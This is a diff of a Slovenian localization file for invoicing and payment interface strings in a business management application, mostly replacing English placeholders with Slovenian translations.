BillsCustomersUnpaidForCompany=%s neplačanih faktur kupcev -BillsSuppliersUnpaid=Neplačane fakture dobaviteljev -BillsSuppliersUnpaidForCompany=%s neplačnih faktur dobaviteljev +BillsSuppliersUnpaid=Neplačani prejeti računi +BillsSuppliersUnpaidForCompany=%s neplačanih prejetih računov BillsLate=Zamujena plačila BillsStatistics=Statistika faktur za kupce -BillsStatisticsSuppliers=Statisika faktur dobaviteljev +BillsStatisticsSuppliers=Statistika prejetih računov DisabledBecauseDispatchedInBookkeeping=Onemogočeno, ker je bila faktura poslana v knjiženje DisabledBecauseNotLastInvoice=Onemogočeno, ker brisanje fakture ni dovoljeno. Fakture so bile ustvarjene po tej fakturi, zato bi brisanje povzročilo škrbine v števcu. +DisabledBecauseNotLastSituationInvoice=Onemogočeno, ker računa ni mogoče izbrisati. Ta račun ni zadnji v ciklu fakturiranja situacije. DisabledBecauseNotErasable=Onemogočeno, ker brisanje ni dovoljeno InvoiceStandard=Standardna faktura InvoiceStandardAsk=Standardna faktura InvoiceStandardDesc=Ta vrsta fakture je običajna faktura. +InvoiceStandardShort=Standardno InvoiceDeposit=Avansni račun InvoiceDepositAsk=Avansni račun InvoiceDepositDesc=Ta vrsta fakture se naredi po prejemu avansa. @@ -24,6 +26,7 @@ InvoiceProForma=Predračun InvoiceProFormaAsk=Predračun InvoiceProFormaDesc=Predračun izgleda enako kot račun, vendar nima računovodske vrednosti. InvoiceReplacement=Nadomestni račun +InvoiceReplacementShort=Zamenjava InvoiceReplacementAsk=Nadomestni račun za račun InvoiceReplacementDesc=Namen nadomestne fakture je v celoti nadomestiti fakturo, za katero ni bilo prejetega plačila.

      Opomba: Samo neplačane fakture je mogoče nadomestiti z nadomestno fakturo. Če faktura, za katero delate nadomestno fakturo, še ni zaključena, bo tista faktura avtomatsko dobila stanje 'opuščena'. InvoiceAvoir=Dobropis @@ -53,11 +56,11 @@ InvoiceLine=Vrstica računa InvoiceCustomer=Račun za kupca CustomerInvoice=Račun za kupca CustomersInvoices=Fakture za kupce -SupplierInvoice=Faktura dobavitelja -SuppliersInvoices=Fakture dobaviteljev -SupplierInvoiceLines=Vendor invoice lines -SupplierBill=Faktura dobavitelja -SupplierBills=Fakture dobaviteljev +SupplierInvoice=Prejeti račun +SuppliersInvoices=Prejeti računi +SupplierInvoiceLines=Vrstice računa dobavitelja +SupplierBill=Prejeti račun +SupplierBills=Prejeti računi Payment=Plačilo PaymentBack=Vračilo CustomerInvoicePaymentBack=Vračilo @@ -71,7 +74,7 @@ ConfirmConvertToReduc=Ali želite to %s pretvoriti v razpoložljivo dobroimetje? ConfirmConvertToReduc2=Znesek bo shranjen med popuste in je lahko uporabljen kot popust na prihodnjih fakturah temu kupcu. ConfirmConvertToReducSupplier=Ali želite to %s pretvoriti v razpoložljivo dobroimetje? ConfirmConvertToReducSupplier2=Znesek bo shranjen med popuste in je lahko uporabljen kot popust na prihodnjih fakturah tega dobavitelja. -SupplierPayments=Plačila dobaviteljem +SupplierPayments=Plačila prejetih računov ReceivedPayments=Prejeta plačila ReceivedCustomersPayments=Prejeta plačila kupcev PayedSuppliersPayments=Izvedena plačila dobaviteljem @@ -81,14 +84,14 @@ PaymentsReports=Poročila o plačilih PaymentsAlreadyDone=Izvršena plačila PaymentsBackAlreadyDone=Izvedena vračila PaymentRule=Pravilo plačila -PaymentMode=Payment method -PaymentModes=Payment methods -DefaultPaymentMode=Default Payment method -DefaultBankAccount=Default Bank Account -IdPaymentMode=Payment method (id) -CodePaymentMode=Payment method (code) -LabelPaymentMode=Payment method (label) -PaymentModeShort=Payment method +PaymentMode=Način plačila +PaymentModes=Načini plačila +DefaultPaymentMode=Privzeti način plačila +DefaultBankAccount=Privzeti bančni račun +IdPaymentMode=Način plačila (id) +CodePaymentMode=Način plačila (koda) +LabelPaymentMode=Način plačila (oznaka) +PaymentModeShort=Način plačila PaymentTerm=Plačilni pogoj PaymentConditions=Plačilni pogoji PaymentConditionsShort=Plačilni pogoji @@ -108,7 +111,7 @@ AddBill=Ustvari fakturo ali dobropis AddToDraftInvoices=Dodaj osnutku fakture DeleteBill=Izbriši fakturo SearchACustomerInvoice=Iskanje fakture za kupca -SearchASupplierInvoice=Iskanje fakture dobavitelja +SearchASupplierInvoice=Iskanje prejetih računov CancelBill=Preklic fakture SendRemindByMail=Pošlji opomin po e-pošti DoPayment=Vnos plačila @@ -119,7 +122,7 @@ ConvertExcessPaidToReduc=Pretvori presežek plačila v razpoložljiv popust EnterPaymentReceivedFromCustomer=Vnesi prejem plačila kupca EnterPaymentDueToCustomer=Vnesi rok plačila za kupca DisabledBecauseRemainderToPayIsZero=Onemogočeno, ker je neplačan znesek enak nič -PriceBase=Base price +PriceBase=Osnovna cena BillStatus=Stanje fakture StatusOfGeneratedInvoices=Stanja ustvarjenih faktur BillStatusDraft=Osnutek (potrebna potrditev) @@ -156,8 +159,10 @@ ErrorInvoiceAvoirMustBeNegative=Napaka, na popravljeni fakturi mora biti negativ ErrorInvoiceOfThisTypeMustBePositive=Napaka, ta tip fakture mora imeti znesek brez davka (ali nič). ErrorCantCancelIfReplacementInvoiceNotValidated=Napaka, ne morete preklicati fakture, ki je bil nadomeščena z drugo fakturo, ki je še v statusu osnutka ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Ta ali drug del je že uporabljen, zato serije popustov ni dovoljeno odstraniti. +ErrorInvoiceIsNotLastOfSameType=Napaka: Datum računa %s je %s. Za istovrstne račune mora biti poznejši ali enak zadnjemu datumu (%s). Prosimo, da spremenite datum računa. BillFrom=Izdajatelj BillTo=Prejemnik +ShippingTo=Shipping to ActionsOnBill=Aktivnosti na računu RecurringInvoiceTemplate=Predloga / Ponavljajoča se faktura NoQualifiedRecurringInvoiceTemplateFound=Ni primernega osnutka ponavljajoče se fakture @@ -167,92 +172,92 @@ NewBill=Nova faktura LastBills=Zadnjih %s faktur LatestTemplateInvoices=Zadnjih %s predlog faktur LatestCustomerTemplateInvoices=Zadnjih %s predlog faktur za kupce -LatestSupplierTemplateInvoices=Latest %s vendor template invoices -LastCustomersBills=Latest %s customer invoices -LastSuppliersBills=Latest %s vendor invoices +LatestSupplierTemplateInvoices=Zadnjih %s predlog prejetih računov +LastCustomersBills=Najnovejši %s računi strank +LastSuppliersBills=Najnovejših %s prejetih računov AllBills=Vsi računi -AllCustomerTemplateInvoices=All template invoices +AllCustomerTemplateInvoices=Vse predloge računov OtherBills=Ostali računi DraftBills=Osnutki računov -CustomersDraftInvoices=Customer draft invoices -SuppliersDraftInvoices=Vendor draft invoices +CustomersDraftInvoices=Osnutki računov strank +SuppliersDraftInvoices=Osnutki prejetih računov Unpaid=Neplačano -ErrorNoPaymentDefined=Error No payment defined +ErrorNoPaymentDefined=Napaka Plačilo ni določeno ConfirmDeleteBill=Ste prepričani da želite izbrisati ta račun? -ConfirmValidateBill=Are you sure you want to validate this invoice with reference %s? -ConfirmUnvalidateBill=Are you sure you want to change invoice %s to draft status? -ConfirmClassifyPaidBill=Are you sure you want to change invoice %s to status paid? -ConfirmCancelBill=Are you sure you want to cancel invoice %s? -ConfirmCancelBillQuestion=Why do you want to classify this invoice 'abandoned'? -ConfirmClassifyPaidPartially=Are you sure you want to change invoice %s to status paid? -ConfirmClassifyPaidPartiallyQuestion=This invoice has not been paid completely. What is the reason for closing this invoice? -ConfirmClassifyPaidPartiallyReasonAvoir=Remaining unpaid (%s %s) is a discount granted because payment was made before term. I regularize the VAT with a credit note. -ConfirmClassifyPaidPartiallyReasonDiscount=Remaining unpaid (%s %s) is a discount granted because payment was made before term. +ConfirmValidateBill=Ali ste prepričani, da želite potrditi ta račun s sklicem %s ? +ConfirmUnvalidateBill=Ali ste prepričani, da želite račun spremeniti v stanje osnutka? +ConfirmClassifyPaidBill=Ali ste prepričani, da želite račun spremeniti v stanje plačan? +ConfirmCancelBill=Ali ste prepričani, da želite preklicati račun %s ? +ConfirmCancelBillQuestion=Zakaj želite ta račun označiti kot "zapuščeno"? +ConfirmClassifyPaidPartially=Ali ste prepričani, da želite račun spremeniti v stanje plačan? +ConfirmClassifyPaidPartiallyQuestion=Ta račun ni bil v celoti plačan. Kaj je razlog za zaprtje tega računa? +ConfirmClassifyPaidPartiallyReasonAvoir=Preostanek neplačanega (%s %s) je odobren popust, ker je bilo plačilo izvedeno pred rokom. DDV uredim z dobropisom. +ConfirmClassifyPaidPartiallyReasonDiscount=Preostanek neplačanega (%s %s) je odobren popust, ker je bilo plačilo izvedeno pred rokom. ConfirmClassifyPaidPartiallyReasonDiscountNoVat=Neplačan preostanek (%s %s) je popust zaradi predčasnega plačila. Strinjam se z izgubo DDV zaradi tega popusta. ConfirmClassifyPaidPartiallyReasonDiscountVat=Neplačan preostanek (%s %s) je popust zaradi predčasnega plačila. DDV na ta popust bo vrnjen brez dobropisa. ConfirmClassifyPaidPartiallyReasonBadCustomer=Slab kupec -ConfirmClassifyPaidPartiallyReasonBankCharge=Deduction by bank (intermediary bank fees) +ConfirmClassifyPaidPartiallyReasonBankCharge=Odtegljaj banke (provizije posredniške banke) ConfirmClassifyPaidPartiallyReasonProductReturned=Delno vračilo proizvodov ConfirmClassifyPaidPartiallyReasonOther=Znesek opuščen zaradi drugih razlogov -ConfirmClassifyPaidPartiallyReasonDiscountNoVatDesc=This choice is possible if your invoice has been provided with suitable comments. (Example «Only the tax corresponding to the price that has been actually paid gives rights to deduction») -ConfirmClassifyPaidPartiallyReasonDiscountVatDesc=In some countries, this choice might be possible only if your invoice contains correct notes. +ConfirmClassifyPaidPartiallyReasonDiscountNoVatDesc=Ta izbira je možna, če je vaš račun opremljen z ustreznimi komentarji. (Primer "Samo davek, ki ustreza ceni, ki je bila dejansko plačana, daje pravico do odbitka") +ConfirmClassifyPaidPartiallyReasonDiscountVatDesc=V nekaterih državah je ta izbira možna le, če vaš račun vsebuje pravilne opombe. ConfirmClassifyPaidPartiallyReasonAvoirDesc=To izbiro uporabite, če so druge neustrezne -ConfirmClassifyPaidPartiallyReasonBadCustomerDesc=A bad customer is a customer that refuses to pay his debt. +ConfirmClassifyPaidPartiallyReasonBadCustomerDesc=Dolžnik je stranka, ki ne želi poravnati dolga. ConfirmClassifyPaidPartiallyReasonProductReturnedDesc=Ta izbira se uporabi, če plačilo ni bilo kompletno zaradi vračila nekaterih proizvodov -ConfirmClassifyPaidPartiallyReasonBankChargeDesc=The unpaid amount is intermediary bank fees, deducted directly from the correct amount paid by the Customer. -ConfirmClassifyPaidPartiallyReasonOtherDesc=Use this choice if all others are not suitable, for example in following situation:
      - payment not complete because some products were shipped back
      - amount claimed too important because a discount was forgotten
      In all cases, amount over-claimed must be corrected in accountancy system by creating a credit note. +ConfirmClassifyPaidPartiallyReasonBankChargeDesc=Neplačani znesek so provizije posredniške banke , odštete neposredno od pravilnega zneska , ki ga plača stranka. +ConfirmClassifyPaidPartiallyReasonOtherDesc=Uporabite to izbiro, če vse druge niso primerne, na primer v naslednji situaciji:
      - plačilo ni dokončano, ker so bili nekateri izdelki odposlani nazaj
      - zahtevani znesek je preveč pomemben, ker je bil pozabljen popust
      V vseh primerih je treba popraviti previsoki zahtevani znesek v računovodskem sistemu z izdelavo dobropisa. ConfirmClassifyAbandonReasonOther=Ostalo ConfirmClassifyAbandonReasonOtherDesc=Ta izbira se uporabi v vseh drugih primerih. Na primer, ker planirate izdelavo nadomestnega računa. -ConfirmCustomerPayment=Do you confirm this payment input for %s %s? -ConfirmSupplierPayment=Do you confirm this payment input for %s %s? -ConfirmValidatePayment=Are you sure you want to validate this payment? No change can be made once payment is validated. +ConfirmCustomerPayment=Ali potrjujete ta vnos plačila za %s %s? +ConfirmSupplierPayment=Ali potrjujete ta vnos plačila za %s %s? +ConfirmValidatePayment=Ali ste prepričani, da želite potrditi to plačilo? Ko je plačilo potrjeno, ni več mogoče spremeniti. ValidateBill=Potrdi račun UnvalidateBill=Unvalidate račun -NumberOfBills=No. of invoices -NumberOfBillsByMonth=No. of invoices per month +NumberOfBills=št. računov +NumberOfBillsByMonth=Število računov na mesec AmountOfBills=Znesek račuov -AmountOfBillsHT=Amount of invoices (net of tax) +AmountOfBillsHT=Znesek na računih (brez davka) AmountOfBillsByMonthHT=Znesek računov po mesecih (brez DDV) -UseSituationInvoices=Allow situation invoice -UseSituationInvoicesCreditNote=Allow situation invoice credit note -Retainedwarranty=Retained warranty -AllowedInvoiceForRetainedWarranty=Retained warranty usable on the following types of invoices -RetainedwarrantyDefaultPercent=Retained warranty default percent -RetainedwarrantyOnlyForSituation=Make "retained warranty" available only for situation invoices -RetainedwarrantyOnlyForSituationFinal=On situation invoices the global "retained warranty" deduction is applied only on the final situation -ToPayOn=To pay on %s -toPayOn=to pay on %s -RetainedWarranty=Retained Warranty -PaymentConditionsShortRetainedWarranty=Retained warranty payment terms -DefaultPaymentConditionsRetainedWarranty=Default retained warranty payment terms -setPaymentConditionsShortRetainedWarranty=Set retained warranty payment terms -setretainedwarranty=Set retained warranty -setretainedwarrantyDateLimit=Set retained warranty date limit -RetainedWarrantyDateLimit=Retained warranty date limit -RetainedWarrantyNeed100Percent=The situation invoice need to be at 100%% progress to be displayed on PDF +UseSituationInvoices=Dovoli stanje fakture +UseSituationInvoicesCreditNote=Dovoli stanje fakture dobropis +Retainedwarranty=Ohranjena garancija +AllowedInvoiceForRetainedWarranty=Ohranjena garancija, uporabna za naslednje vrste računov +RetainedwarrantyDefaultPercent=Privzeti odstotek ohranjene garancije +RetainedwarrantyOnlyForSituation=Naj bo "ohranjena garancija" na voljo samo za račune v primeru situacije +RetainedwarrantyOnlyForSituationFinal=Na fakturah situacije se globalni odbitek "zadržane garancije" uporabi samo za končno situacijo +ToPayOn=Za plačilo na %s +toPayOn=plačati na %s +RetainedWarranty=Ohranjena garancija +PaymentConditionsShortRetainedWarranty=Plačilni pogoji ohranjene garancije +DefaultPaymentConditionsRetainedWarranty=Privzeti plačilni pogoji ohranjene garancije +setPaymentConditionsShortRetainedWarranty=Nastavite plačilne pogoje zadržane garancije +setretainedwarranty=Nastavite zadržano garancijo +setretainedwarrantyDateLimit=Nastavite omejitev datuma ohranjene garancije +RetainedWarrantyDateLimit=Omejitev datuma ohranjene garancije +RetainedWarrantyNeed100Percent=Račun stanja mora biti na napredku 100%%, da bo prikazan v PDF-ju AlreadyPaid=Že plačano AlreadyPaidBack=Že vrnjeno plačilo -AlreadyPaidNoCreditNotesNoDeposits=Already paid (without credit notes and down payments) +AlreadyPaidNoCreditNotesNoDeposits=Že plačano (brez dobropisov in predplačil) Abandoned=Opuščeno RemainderToPay=Neplačan preostanek -RemainderToPayMulticurrency=Remaining unpaid, original currency +RemainderToPayMulticurrency=Preostalo neplačano, izvirna valuta RemainderToTake=Preostanek vrednosti za odtegljaj -RemainderToTakeMulticurrency=Remaining amount to take, original currency -RemainderToPayBack=Remaining amount to refund -RemainderToPayBackMulticurrency=Remaining amount to refund, original currency -NegativeIfExcessRefunded=negative if excess refunded +RemainderToTakeMulticurrency=Preostali znesek za prevzem, izvirna valuta +RemainderToPayBack=Preostali znesek za vračilo +RemainderToPayBackMulticurrency=Preostali znesek za vračilo, izvirna valuta +NegativeIfExcessRefunded=negativno, če se povrne presežek Rest=Na čakanju AmountExpected=Reklamiran znesek ExcessReceived=Prejet presežek -ExcessReceivedMulticurrency=Excess received, original currency -NegativeIfExcessReceived=negative if excess received -ExcessPaid=Excess paid -ExcessPaidMulticurrency=Excess paid, original currency +ExcessReceivedMulticurrency=Prejeti presežek, izvirna valuta +NegativeIfExcessReceived=negativen, če je prejet presežek +ExcessPaid=Presežek plačan +ExcessPaidMulticurrency=Presežek plačan, originalna valuta EscompteOffered=Ponujen popust (plačilo pred rokom) EscompteOfferedShort=Popust SendBillRef=Oddaja račuuna %s SendReminderBillRef=Oddaja računa %s (opomin) -SendPaymentReceipt=Submission of payment receipt %s +SendPaymentReceipt=Predložitev potrdila o plačilu %s NoDraftBills=Ni osnutka računa NoOtherDraftBills=Ni drugih osnutkov računov NoDraftInvoices=Ni osnutkov računov @@ -262,40 +267,42 @@ RemainderToBill=Opomnik za fakturiranje SendBillByMail=Pošlji račun po e-mailu SendReminderBillByMail=Pošlji opomin po e-mailu RelatedCommercialProposals=Povezane komercialne ponudbe -RelatedRecurringCustomerInvoices=Related recurring customer invoices +RelatedRecurringCustomerInvoices=Povezani ponavljajoči se računi strank MenuToValid=Za potrditev -DateMaxPayment=Payment due on +DateMaxPayment=Rok plačila DateInvoice=Datum izdaje -DatePointOfTax=Point of tax +DatePointOfTax=Davčna točka NoInvoice=Ni računa -NoOpenInvoice=No open invoice -NbOfOpenInvoices=Number of open invoices +NoOpenInvoice=Brez odprtega računa +NbOfOpenInvoices=Število odprtih računov ClassifyBill=Klacificiraj račun -SupplierBillsToPay=Neplačane fakture dobaviteljem -CustomerBillsUnpaid=Neplačani računi stranke +SupplierBillsToPay=Neplačani prejeti računi +CustomerBillsUnpaid=Neplačani računi NonPercuRecuperable=Nepovratno -SetConditions=Set Payment Terms -SetMode=Set Payment Type -SetRevenuStamp=Set revenue stamp +SetConditions=Nastavite plačilne pogoje +SetMode=Nastavite vrsto plačila +SetRevenuStamp=Nastavite prihodkovno znamko Billed=Zaračunano -RecurringInvoices=Recurring invoices -RecurringInvoice=Recurring invoice +RecurringInvoices=Ponavljajoči se računi +RecurringInvoice=Ponavljajoči se račun RepeatableInvoice=Predloga računa RepeatableInvoices=Predloga računov +RecurringInvoicesJob=Izdelava ponavljajočih se računov (prodajnih računov) +RecurringSupplierInvoicesJob=Izdelava ponavljajočih se računov (nakupni računi) Repeatable=Predloga Repeatables=Predloge ChangeIntoRepeatableInvoice=Pretvori v predlogo računa CreateRepeatableInvoice=Ustvari predlogo računa CreateFromRepeatableInvoice=Ustvari iz predloge računa -CustomersInvoicesAndInvoiceLines=Customer invoices and invoice details +CustomersInvoicesAndInvoiceLines=Računi strank in podrobnosti o računu CustomersInvoicesAndPayments=Računi za kupce in plačila -ExportDataset_invoice_1=Customer invoices and invoice details +ExportDataset_invoice_1=Računi strank in podrobnosti o računu ExportDataset_invoice_2=Računi za kupce in plačila ProformaBill=Predračun: Reduction=Znižanje -ReductionShort=Disc. +ReductionShort=disk Reductions=Znižanja -ReductionsShort=Disc. +ReductionsShort=disk Discounts=Popusti AddDiscount=Ustvari absolutni popust AddRelativeDiscount=Ustvarite relativno popust @@ -304,148 +311,158 @@ AddGlobalDiscount=Dodaj popust EditGlobalDiscounts=Uredi absolutne popuste AddCreditNote=Ustvari dobropis ShowDiscount=Prikaži popust -ShowReduc=Show the discount -ShowSourceInvoice=Show the source invoice +ShowReduc=Pokažite popust +ShowSourceInvoice=Prikaži izvorni račun RelativeDiscount=Relativni popust GlobalDiscount=Globalni popust CreditNote=Dobropis CreditNotes=Dobropisi -CreditNotesOrExcessReceived=Credit notes or excess received -Deposit=Down payment -Deposits=Down payments +CreditNotesOrExcessReceived=Prejeti dobropisi ali presežek +Deposit=Polog +Deposits=Predplačila DiscountFromCreditNote=Popust z dobropisa %s -DiscountFromDeposit=Down payments from invoice %s -DiscountFromExcessReceived=Payments in excess of invoice %s -DiscountFromExcessPaid=Payments in excess of invoice %s +DiscountFromDeposit=Predplačila iz računa %s +DiscountFromExcessReceived=Plačila, ki presegajo račun %s +DiscountFromExcessPaid=Plačila, ki presegajo račun %s AbsoluteDiscountUse=Ta način dobropisa se lahko uporabi na računu pred njegovo potrditvijo -CreditNoteDepositUse=Invoice must be validated to use this kind of credits +CreditNoteDepositUse=Za uporabo te vrste dobropisov mora biti račun potrjen NewGlobalDiscount=Nov fiksni popust NewRelativeDiscount=Nov relativni popust -DiscountType=Discount type +DiscountType=Vrsta popusta NoteReason=Opomba/Razlog ReasonDiscount=Razlog DiscountOfferedBy=Odobril -DiscountStillRemaining=Discounts or credits available -DiscountAlreadyCounted=Discounts or credits already consumed -CustomerDiscounts=Customer discounts -SupplierDiscounts=Vendors discounts +DiscountStillRemaining=Na voljo so popusti ali krediti +DiscountAlreadyCounted=Popusti ali krediti so že porabljeni +CustomerDiscounts=Popusti za stranke +SupplierDiscounts=Popusti dobaviteljev BillAddress=Naslov za račun -HelpEscompte=This discount is a discount granted to customer because payment was made before term. -HelpAbandonBadCustomer=This amount has been abandoned (customer said to be a bad customer) and is considered as an exceptional loss. -HelpAbandonOther=This amount has been abandoned since it was an error (wrong customer or invoice replaced by another for example) +HelpEscompte=Ta popust je popust, odobren kupcu, ker je bilo plačilo opravljeno pred rokom. +HelpAbandonBadCustomer=Znesek je storniran (dolžnik ne želi poravnati računa) in se šteje kot izredni odhodek +HelpAbandonOther=Ta znesek je bil opuščen, ker je šlo za napako (na primer napačna stranka ali račun zamenjan z drugim) IdSocialContribution=ID za socialni/fiskalni davek PaymentId=ID plačila -PaymentRef=Payment ref. +PaymentRef=Ref. InvoiceId=ID računa InvoiceRef=Referenca računa InvoiceDateCreation=Datum kreiranja računa InvoiceStatus=Status računa InvoiceNote=Opomba računa InvoicePaid=Plačan račun -InvoicePaidCompletely=Paid completely -InvoicePaidCompletelyHelp=Invoice that are paid completely. This excludes invoices that are paid partially. To get list of all 'Closed' or non 'Closed' invoices, prefer to use a filter on the invoice status. -OrderBilled=Order billed -DonationPaid=Donation paid +InvoicePaidCompletely=Plačano v celoti +InvoicePaidCompletelyHelp=Račun, ki je plačan v celoti. To ne vključuje računov, ki so plačani delno. Če želite dobiti seznam vseh računov »Zaprto« ali ne »Zaprto«, raje uporabite filter za stanje računa. +OrderBilled=Naročilo zaračunano +DonationPaid=Donacija plačana PaymentNumber=Številka plačila RemoveDiscount=Odstrani popust WatermarkOnDraftBill=Vodni žig na osnutku računa (nič, če je prazno) InvoiceNotChecked=Noben račun ni izbran -ConfirmCloneInvoice=Are you sure you want to clone this invoice %s? +ConfirmCloneInvoice=Ali ste prepričani, da želite klonirati ta račun %s ? DisabledBecauseReplacedInvoice=Aktivnost onemogočena, ker je bil račun zamenjan -DescTaxAndDividendsArea=This area presents a summary of all payments made for special expenses. Only records with payments during the fixed year are included here. -NbOfPayments=No. of payments +DescTaxAndDividendsArea=To področje predstavlja povzetek vseh plačil za posebne stroške. Tukaj so vključeni samo zapisi s plačili v določenem letu. +NbOfPayments=št. plačil SplitDiscount=Razdeli popust na dva -ConfirmSplitDiscount=Are you sure you want to split this discount of %s %s into two smaller discounts? -TypeAmountOfEachNewDiscount=Input amount for each of two parts: -TotalOfTwoDiscountMustEqualsOriginal=The total of the two new discounts must be equal to the original discount amount. -ConfirmRemoveDiscount=Are you sure you want to remove this discount? +ConfirmSplitDiscount=Ali ste prepričani, da želite ta popust %s %s razdeliti na dva manjša popusta? +TypeAmountOfEachNewDiscount=Vnesite znesek za vsakega od dveh delov: +TotalOfTwoDiscountMustEqualsOriginal=Skupna vsota obeh novih popustov mora biti enaka prvotnemu znesku popusta. +ConfirmRemoveDiscount=Ali ste prepričani, da želite odstraniti ta popust? RelatedBill=Podobni račun RelatedBills=Povezani računi RelatedCustomerInvoices=Povezani računi za kupca -RelatedSupplierInvoices=Related vendor invoices +RelatedSupplierInvoices=Povezani prejeti računi LatestRelatedBill=Zadnji povezan račun -WarningBillExist=Warning, one or more invoices already exist +WarningBillExist=Opozorilo, en ali več računov že obstaja MergingPDFTool=Orodje za spajanje PDF -AmountPaymentDistributedOnInvoice=Payment amount distributed on invoice -PaymentOnDifferentThirdBills=Allow payments on different third parties bills but same parent company -PaymentNote=Payment note -ListOfPreviousSituationInvoices=List of previous situation invoices -ListOfNextSituationInvoices=List of next situation invoices -ListOfSituationInvoices=List of situation invoices -CurrentSituationTotal=Total current situation -DisabledBecauseNotEnouthCreditNote=To remove a situation invoice from cycle, this invoice's credit note total must cover this invoice total -RemoveSituationFromCycle=Remove this invoice from cycle -ConfirmRemoveSituationFromCycle=Remove this invoice %s from cycle ? -ConfirmOuting=Confirm outing -FrequencyPer_d=Every %s days -FrequencyPer_m=Every %s months -FrequencyPer_y=Every %s years -FrequencyUnit=Frequency unit -toolTipFrequency=Examples:
      Set 7, Day: give a new invoice every 7 days
      Set 3, Month: give a new invoice every 3 month -NextDateToExecution=Date for next invoice generation -NextDateToExecutionShort=Date next gen. -DateLastGeneration=Date of latest generation -DateLastGenerationShort=Date latest gen. -MaxPeriodNumber=Max. number of invoice generation -NbOfGenerationDone=Number of invoice generation already done -NbOfGenerationOfRecordDone=Number of record generation already done -NbOfGenerationDoneShort=Number of generation done -MaxGenerationReached=Maximum number of generations reached -InvoiceAutoValidate=Validate invoices automatically -GeneratedFromRecurringInvoice=Generated from template recurring invoice %s -DateIsNotEnough=Date not reached yet -InvoiceGeneratedFromTemplate=Invoice %s generated from recurring template invoice %s -GeneratedFromTemplate=Generated from template invoice %s -WarningInvoiceDateInFuture=Warning, the invoice date is higher than current date -WarningInvoiceDateTooFarInFuture=Warning, the invoice date is too far from current date -ViewAvailableGlobalDiscounts=View available discounts -GroupPaymentsByModOnReports=Group payments by mode on reports +AmountPaymentDistributedOnInvoice=Znesek plačila razdeljen na račun +PaymentOnDifferentThirdBills=Dovolite plačila na različne račune tretjih oseb, vendar isto matično podjetje +PaymentNote=Opomba o plačilu +ListOfPreviousSituationInvoices=Seznam prejšnjih faktur stanja +ListOfNextSituationInvoices=Seznam faktur naslednje situacije +ListOfSituationInvoices=Seznam faktur stanja +CurrentSituationTotal=Skupno trenutno stanje +DisabledBecauseNotEnouthCreditNote=Če želite odstraniti račun za situacijo iz cikla, mora vsota dobropisa tega računa pokrivati to vsoto računa +RemoveSituationFromCycle=Odstranite ta račun iz cikla +ConfirmRemoveSituationFromCycle=Odstranite ta račun %s iz cikla? +ConfirmOuting=Potrdite izstop +FrequencyPer_d=Vsakih %s dni +FrequencyPer_m=Vsakih %s mesecev +FrequencyPer_y=Vsakih %s let +FrequencyUnit=Frekvenčna enota +toolTipFrequency=Primeri:
      7. niz, dan : izdajte nov račun vsakih 7 dni
      3. niz, mesec : izdajte nov račun vsake 3 mesece +NextDateToExecution=Datum naslednjega izdajanja računa +NextDateToExecutionShort=Datum naslednje gen. +DateLastGeneration=Datum zadnje generacije +DateLastGenerationShort=Datum najnovejše gen. +MaxPeriodNumber=maks. številka generiranja računa +NbOfGenerationDone=Število že izdelanih računov +NbOfGenerationOfRecordDone=Število že narejenih zapisov +NbOfGenerationDoneShort=Število opravljenih generacij +MaxGenerationReached=Doseženo je največje število generacij +InvoiceAutoValidate=Samodejno preverjanje veljavnosti računov +GeneratedFromRecurringInvoice=Ustvarjeno iz predloge ponavljajočega se računa %s +DateIsNotEnough=Datum še ni dosežen +InvoiceGeneratedFromTemplate=Račun %s, ustvarjen iz ponavljajoče se predloge računa %s +GeneratedFromTemplate=Ustvarjeno iz predloge računa %s +WarningInvoiceDateInFuture=Opozorilo, datum računa je višji od trenutnega datuma +WarningInvoiceDateTooFarInFuture=Opozorilo, datum računa je predaleč od trenutnega datuma +ViewAvailableGlobalDiscounts=Oglejte si razpoložljive popuste +GroupPaymentsByModOnReports=V poročilih združite plačila po načinu # PaymentConditions Statut=Status -PaymentConditionShortRECEP=Due Upon Receipt -PaymentConditionRECEP=Due Upon Receipt +PaymentConditionShortRECEP=Zapade ob prejemu +PaymentConditionRECEP=Zapade ob prejemu PaymentConditionShort30D=30 dni PaymentCondition30D=30 dni -PaymentConditionShort30DENDMONTH=30 days of month-end -PaymentCondition30DENDMONTH=Within 30 days following the end of the month +PaymentConditionShort30DENDMONTH=30 dni do konca meseca +PaymentCondition30DENDMONTH=V 30 dneh po koncu meseca PaymentConditionShort60D=60 dni PaymentCondition60D=60 dni -PaymentConditionShort60DENDMONTH=60 days of month-end -PaymentCondition60DENDMONTH=Within 60 days following the end of the month +PaymentConditionShort60DENDMONTH=60 dni konec meseca +PaymentCondition60DENDMONTH=V 60 dneh po koncu meseca PaymentConditionShortPT_DELIVERY=Dobava PaymentConditionPT_DELIVERY=Ob dobavi PaymentConditionShortPT_ORDER=Naročilo PaymentConditionPT_ORDER=Naročeno PaymentConditionShortPT_5050=50-50 PaymentConditionPT_5050=50%% vnaprej, 50%% ob dobavi -PaymentConditionShort10D=10 days -PaymentCondition10D=10 days -PaymentConditionShort10DENDMONTH=10 days of month-end -PaymentCondition10DENDMONTH=Within 10 days following the end of the month -PaymentConditionShort14D=14 days -PaymentCondition14D=14 days -PaymentConditionShort14DENDMONTH=14 days of month-end -PaymentCondition14DENDMONTH=Within 14 days following the end of the month -FixAmount=Fixed amount - 1 line with label '%s' +PaymentConditionShort10D=10 dni +PaymentCondition10D=10 dni +PaymentConditionShort10DENDMONTH=10 dni do konca meseca +PaymentCondition10DENDMONTH=V 10 dneh po koncu meseca +PaymentConditionShort14D=14 dni +PaymentCondition14D=14 dni +PaymentConditionShort14DENDMONTH=14 dni konec meseca +PaymentCondition14DENDMONTH=V 14 dneh po koncu meseca +PaymentConditionShortDEP30PCTDEL=__DEPOSIT_PERCENT__%% depozit +PaymentConditionDEP30PCTDEL=__DEPOSIT_PERCENT__%% depozit, preostanek ob dostavi +FixAmount=Fiksni znesek – 1 vrstica z oznako '%s' VarAmount=Variabilni znesek (%% tot.) -VarAmountOneLine=Variable amount (%% tot.) - 1 line with label '%s' -VarAmountAllLines=Variable amount (%% tot.) - all lines from origin +VarAmountOneLine=Spremenljiva količina (%% tot.) - 1 vrstica z oznako '%s' +VarAmountAllLines=Spremenljivi znesek (%% tot.) - vse vrstice od izvora +DepositPercent=Depozit %% +DepositGenerationPermittedByThePaymentTermsSelected=To dovoljujejo izbrani plačilni pogoji +GenerateDeposit=Ustvari %s%% račun za polog +ValidateGeneratedDeposit=Potrdite ustvarjeni depozit +DepositGenerated=Depozit ustvarjen 